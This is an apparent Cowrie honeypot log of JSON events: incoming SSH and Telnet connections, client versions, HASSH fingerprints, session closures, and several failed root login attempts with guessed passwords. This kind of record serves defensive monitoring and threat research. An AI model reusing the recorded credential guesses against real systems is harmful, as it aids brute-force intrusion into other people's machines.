{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:40.959543Z","src_ip":"62.133.63.178","session":"89bc45ae2e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:41.407553Z","src_ip":"62.133.63.178","session":"89bc45ae2e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:42.529259Z","src_ip":"62.133.63.178","session":"89bc45ae2e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":59520,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9eec2ac463","protocol":"telnet","message":"New connection: 79.139.59.21:59520 (159.203.135.109:23) [session: 2d9eec2ac463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:45.828880Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7cacfd91c5","protocol":"ssh","message":"New connection: 103.82.132.16:36612 (159.203.135.109:22) [session: 6b7cacfd91c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:48.505009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:48.509673Z","src_ip":"103.82.132.16","session":"6b7cacfd91c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:48.755368Z","src_ip":"103.82.132.16","session":"6b7cacfd91c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120487","message":"login attempt [root/120487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:49.494134Z","src_ip":"103.82.132.16","session":"6b7cacfd91c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:50.742531Z","src_ip":"103.82.132.16","session":"6b7cacfd91c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":59952,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfeac9ede5b1","protocol":"telnet","message":"New connection: 79.139.59.21:59952 (159.203.135.109:23) [session: cfeac9ede5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:59.734346Z"}
{"eventid":"cowrie.session.closed","duration":33.703370332717896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:04.719708Z","src_ip":"69.4.83.194","session":"03968c93de98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"605a82945fa1","protocol":"ssh","message":"New connection: 115.190.56.179:46104 (159.203.135.109:22) [session: 605a82945fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:25.365164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:25.370616Z","src_ip":"115.190.56.179","session":"605a82945fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"10f94a859406","protocol":"telnet","message":"New connection: 178.128.93.180:40924 (10.17.0.5:23) [session: 10f94a859406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:25.459209Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:25.632709Z","src_ip":"115.190.56.179","session":"605a82945fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39302,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf11314da27f","protocol":"telnet","message":"New connection: 69.4.83.194:39302 (159.203.135.109:23) [session: bf11314da27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:34.038228Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0801be56ad9","protocol":"telnet","message":"New connection: 69.4.83.194:39300 (159.203.135.109:23) [session: f0801be56ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:35.045617Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59336,"dst_ip":"159.203.135.109","dst_port":22,"session":"78766f5cf250","protocol":"ssh","message":"New connection: 87.251.79.125:59336 (159.203.135.109:22) [session: 78766f5cf250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:41.612273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:41.616988Z","src_ip":"87.251.79.125","session":"78766f5cf250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:41.688404Z","src_ip":"87.251.79.125","session":"78766f5cf250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456zzz","message":"login attempt [root/123456zzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:41.902206Z","src_ip":"87.251.79.125","session":"78766f5cf250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:00:42.976709Z","src_ip":"87.251.79.125","session":"78766f5cf250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.66827535629272,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:06.497022Z","src_ip":"79.139.59.21","session":"2d9eec2ac463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":40567,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea968ce576f","protocol":"ssh","message":"New connection: 193.46.255.86:40567 (159.203.135.109:22) [session: bea968ce576f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:06.657921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:06.663295Z","src_ip":"193.46.255.86","session":"bea968ce576f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:06.789619Z","src_ip":"193.46.255.86","session":"bea968ce576f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:07.357609Z","src_ip":"193.46.255.86","session":"bea968ce576f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:08.481931Z","src_ip":"193.46.255.86","session":"bea968ce576f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76568293571472,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:09.811170Z","src_ip":"69.4.83.194","session":"f0801be56ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7769672870636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:09.815052Z","src_ip":"69.4.83.194","session":"bf11314da27f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.910287380218506,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:11.369087Z","src_ip":"178.128.93.180","session":"10f94a859406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54690,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaad5e600cac","protocol":"telnet","message":"New connection: 69.4.83.194:54690 (159.203.135.109:23) [session: aaad5e600cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:14.357007Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":58652,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b379efd1766","protocol":"ssh","message":"New connection: 115.190.56.179:58652 (159.203.135.109:22) [session: 8b379efd1766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:21.740333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:21.745368Z","src_ip":"115.190.56.179","session":"8b379efd1766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:22.001791Z","src_ip":"115.190.56.179","session":"8b379efd1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwweerrtt","message":"login attempt [root/qqwweerrtt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:24.592110Z","src_ip":"115.190.56.179","session":"8b379efd1766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df6a30f9204","protocol":"telnet","message":"New connection: 69.4.83.194:59660 (159.203.135.109:23) [session: 5df6a30f9204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:25.745289Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:26.479297Z","src_ip":"115.190.56.179","session":"8b379efd1766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34058,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8173439f6b4","protocol":"telnet","message":"New connection: 69.4.83.194:34058 (159.203.135.109:23) [session: a8173439f6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:33.778587Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39882,"dst_ip":"159.203.135.109","dst_port":23,"session":"46371ef6ba0c","protocol":"telnet","message":"New connection: 69.4.83.194:39882 (159.203.135.109:23) [session: 46371ef6ba0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:48.047742Z"}
{"eventid":"cowrie.session.closed","duration":34.16621422767639,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:48.523119Z","src_ip":"69.4.83.194","session":"aaad5e600cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57890,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9a0934beae","protocol":"ssh","message":"New connection: 103.27.238.114:57890 (159.203.135.109:22) [session: 0c9a0934beae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:54.881275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:54.887403Z","src_ip":"103.27.238.114","session":"0c9a0934beae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"89.7","message":"Connection lost after 89.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:55.117723Z","src_ip":"115.190.56.179","session":"605a82945fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:55.155016Z","src_ip":"103.27.238.114","session":"0c9a0934beae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika1234","message":"login attempt [root/vika1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:55.956556Z","src_ip":"103.27.238.114","session":"0c9a0934beae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:57.230361Z","src_ip":"103.27.238.114","session":"0c9a0934beae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35458540916443,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:59.099746Z","src_ip":"69.4.83.194","session":"5df6a30f9204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00219917297363,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:01:59.736422Z","src_ip":"79.139.59.21","session":"cfeac9ede5b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47076,"dst_ip":"159.203.135.109","dst_port":22,"session":"9932b8a9e9c2","protocol":"ssh","message":"New connection: 89.223.69.22:47076 (159.203.135.109:22) [session: 9932b8a9e9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:01.873185Z"}
